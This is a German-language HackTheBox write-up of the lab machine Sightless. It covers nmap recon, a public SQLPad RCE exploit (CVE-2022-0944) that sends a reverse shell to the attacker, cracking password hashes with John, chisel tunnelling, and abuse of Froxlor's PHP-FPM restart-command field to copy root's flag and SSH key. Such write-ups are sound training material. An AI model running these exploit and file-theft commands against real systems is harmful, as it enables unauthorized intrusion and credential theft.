> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Sightless HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Sightless mit Abdeckung von SQLPad-Ausnutzung, LINpeas-Enumeration-System, Hash-Cracking (John), Portweiterleitung (chisel), mit praktischen Notizen zu Enumeration, Ausnutzung, Fo

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* SQLPad-Ausnutzung
* LINPEAS-Enumerierungssystem
* Hashes knacken (John)
* Portweiterleitung (chisel)
* Froxlor (Befehlsinjektion)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f9e6ab36d7dadf9a8411fb969fb37466375fbb3%2Fimage%20(1359).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-756e987ebcb9f402d90a1e2d2f68021ed74f857f%2Fimage%20(1360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dfa7e8246b25b62d89fbd3b0c3e6cd73a0aa589%2Fimage%20(1361).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem knappen Format anzuzeigen und sie in die Zwischenablage zu kopieren (21,22,80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f61cc6931b3442fa7a0eb362e8d36bd372fc856b%2Fimage%20(1362).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7aa4c50333ef022a91296cd35a68c95f175ff4d%2Fimage%20(1365).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9b97364d416f17ca8b27e67d65ea87301bd9478%2Fimage%20(1369).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7eccbf2176a0340e2b6fd23bf6d9b90026a4bf%2Fimage%20(1364).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden eine potenzielle E-Mail-Adresse: `sales@sightless.htb`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3e452fbf20545d3745d83dd14a53a616b2c1b49%2Fimage%20(1367).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## SQLPad-Schwachstelle:

{% hint style="info" %}
**SQLPad** ist ein Open-Source-Tool, das das Ausführen, Anzeigen und Teilen von SQL-Abfragen über eine benutzerfreundliche Weboberfläche erleichtert. Es ist ideal für Datenteams oder Entwickler.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580680ebbe95a8a090523efcf271c64027e6aab7%2Fimage%20(1368).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faa56ee4cdce6b4e62acacf29ade4443db213857%2Fimage%20(1370).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verwundbare Version:**

Die Instanz unter `http://admin.sightless.htb` verwendet SQLPad 6.10.0, das eine bekannte Schwachstelle aufweist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c42a95f00564e059d429ca4c7b0c3c72beebdf9%2Fimage%20(1371).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**Installation:**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**Ausführen des Exploits:**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

Wir lauschen auf Port 443 mit `nc`und erhalten Zugriff.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18c0f6f45aefd9b0da1bae4f5496d008bedede00%2Fimage%20(1372).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

Beim Zugriff auf das System-Root finden wir zwei Benutzer: `michael` und `node`sowie ein Skript namens `linpeas.sh`. Letzteres wird verwendet, um das System zu enumerieren und potenzielle Schwachstellen zu erkennen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9dc678bd36ebf82e44fa94f7ea61b5596c1b4a9b%2Fimage%20(1373).png?alt=media" alt=""><figcaption></figcaption></figure>

### **System-Enumerierung (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac60fe1f7721b4836c7902a02584b8cf3e563ef%2Fimage%20(1375).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden LinPEAS zur Rechteerkennung und entdecken die gehashten Passwörter der Benutzer `root` und `michael`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05afd11101a62b02b8632974232a61bfd93ce6a9%2Fimage%20(1374).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir versuchen, diese Passwörter mit John und dem Rockyou-Wörterbuch zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Hier sind die wiederhergestellten Passwörter:

`root:blindside`

`michael:insaneclownposse`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a5114ba3564a7cc59b836355c4d3b033bb94fc%2Fimage%20(1376).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt

Durch die Anmeldung mit dem Benutzer `michael`erhalten wir die Datei `user.txt`. Allerdings scheint das Root-Passwort falsch zu sein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65bf1a834d9fccb71f7fa8b1aff55ac4e371d7c6%2Fimage%20(1377).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Chisel (Portweiterleitung)**

Zuerst betrachten wir die offenen Ports intern mit dem folgenden Befehl:

```bash
netstat -nltp
```

Wir bemerken, dass der Port **8080** unsere Aufmerksamkeit erregt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6043a34b3605af1f8cbc1f025c9ffea35887c01a%2Fimage%20(2280).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch eine `curl` Anfrage an diesen Port erhalten wir eine HTML-Seite mit einem Anmeldeformular für Benutzername und Passwort.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9b56c744b4817bd072a0f579da757e4df025390%2Fimage%20(2281).png?alt=media" alt=""><figcaption></figcaption></figure>

Um diesen internen Inhalt nach außen freizulegen, verwenden wir das **Chisel** Tool. Wir übertragen die Chisel-Binärdatei mit **Python** und **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907b75bfe3b2c7f9c902ae941b846a04257b3044%2Fimage%20(2282).png?alt=media" alt=""><figcaption></figcaption></figure>

Als Nächstes lauschen wir auf unserer Angriffsmaschine auf Port **8888**:

```bash
chisel server -p 8888 -reverse
```

Auf der Zielmaschine führen wir das Chisel-Skript im Client-Modus aus, um uns mit unserer Angriffsmaschine auf Port zu verbinden **8888**. Wir leiten damit den localhost des Ports des Opfers **8080** auf unseren Port weiter **8081**:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73669120bf1db828206a903a5f52255ddd56ee5b%2Fimage%20(2283).png?alt=media" alt=""><figcaption></figcaption></figure>

Auf diese Weise haben wir den intern auf Port laufenden Dienst nach außen verfügbar gemacht **8080** (**Froxlor**).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f1121d37bee954af5074ecf7d1ad70c49645e2%2Fimage%20(2284).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor ist ein Webhosting-Verwaltungspanel, mit dem Benutzer ihre Server und Hosting-Dienste einfach verwalten können. Es bietet eine benutzerfreundliche Oberfläche zur Konfiguration und Verwaltung von Serverressourcen wie Domänen, Datenbanken, FTP-Konten und E-Mail-Diensten.
{% endhint %}

**Eine neue PHP-Version erstellen:**

Nach der Anmeldung gehen Sie zum Abschnitt „PHP“, dann zu „PHP-FPM Versions“ und erstellen eine neue Version. Geben Sie im Feld für den PHP-FPM-Neustartbefehl den folgenden Befehl ein: `cp /root/root.txt /tmp/root.txt`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-503a82b6bb71949a3a185e4ac7eec7e177105938%2Fimage%20(1352).png?alt=media" alt=""><figcaption></figcaption></figure>

Speichern Sie die Konfiguration und gehen Sie dann zu `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Deaktivieren Sie PHP-FPM und speichern Sie die Änderungen, aktivieren Sie es dann erneut und speichern Sie noch einmal. Dadurch wird der Kopierbefehl ausgeführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-090a4c059ddb05f5ce59af4c29064b5b3d126c16%2Fimage%20(1350).png?alt=media" alt=""><figcaption></figcaption></figure>

Hier ist die Datei, Sie müssen ihr nun die Rechte geben:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-510f43bbff56cee83d7ea472650d3e272b9cd103%2Fimage%20(1353).png?alt=media" alt=""><figcaption></figcaption></figure>

Um fortzufahren, wiederholen Sie denselben Vorgang, ersetzen Sie jedoch den Befehl durch:

```bash
chmod 644 /tmp/root.txt
```

### Root-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e300ed7f41cab5407b3dfde54932cb0ab298aa7%2Fimage%20(1356).png?alt=media" alt=""><figcaption></figcaption></figure>

Um eine Verbindung herzustellen, müssen Sie nur den `id_rsa` Schlüssel (SSH von root) kopieren und den Vorgang wiederholen, um die Berechtigungen wiederherzustellen:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7efe9a4c996c58b02d1b1cf6f6fbaa50dfa70df9%2Fimage%20(1357).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann melden Sie sich mit dem Schlüssel per SSH an:

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fbd203b84f36a33c25481f46154342bc4bc31f0%2Fimage%20(1358).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b99990b72ce68d82db4349289b9ab21a8018ccf6%2Fimage%20(1355).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
